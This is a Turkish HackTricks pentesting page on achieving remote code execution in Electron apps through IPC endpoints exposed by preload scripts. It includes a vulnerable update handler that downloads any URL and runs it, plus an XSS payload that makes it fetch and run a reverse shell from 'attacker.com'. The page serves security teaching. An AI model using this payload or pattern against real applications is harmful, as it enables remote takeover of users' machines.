Electron contextIsolation RCE via IPC

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

• Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!

• Resmi PEASS & HackTricks ürünlerini edinin

• PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz

• Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

• Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks HackTricks ve HackTricks Cloud github depolarına.

Eğer preload betiği main.js dosyasından bir IPC uç noktasını açıklarsa, renderer işlemi buna erişebilir ve zayıfsa, bir RCE mümkün olabilir.

Bu örneklerin çoğu buradan alınmıştır https://www.youtube.com/watch?v=xILfQGkLXQo. Daha fazla bilgi için videoya bakın.

Örnek 0

https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 adresinden örnek (MS Teams'in XSS'ten RCE'ye nasıl kötüye kullanıldığının tam örneğine bu slaytlarda sahipsiniz, bu sadece çok temel bir örnektir):

Örnek 1

main.js'in getUpdate üzerinde nasıl dinlediğini kontrol edin ve geçilen herhangi bir URL'yi indirip çalıştıracaktır. Ayrıca preload.js'in main'den herhangi bir IPC olayını açığa çıkardığını kontrol edin.

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})

// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

Sömürü:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

Örnek 2

Eğer preload betiği doğrudan renderer'a shell.openExternal çağrısını yapma olanağı sunuyorsa, Uzaktan Kod Çalıştırma (RCE) elde etmek mümkündür.

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

Örnek 3

Eğer preload betiği, ana süreçle tamamen iletişim kurmanın yollarını açığa çıkarıyorsa, bir XSS herhangi bir olayı gönderebilecektir. Bu durumun etkisi, ana sürecin IPC açısından neyi açığa çıkardığına bağlıdır.

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

<özet>

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

</özet>

HackTricks'ı desteklemenin diğer yolları:

• Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!

• Resmi PEASS & HackTricks ürünlerini edinin

• The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz

• Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

• Hacking hilelerinizi paylaşarak PR göndererek HackTricks HackTricks ve HackTricks Cloud github depolarına.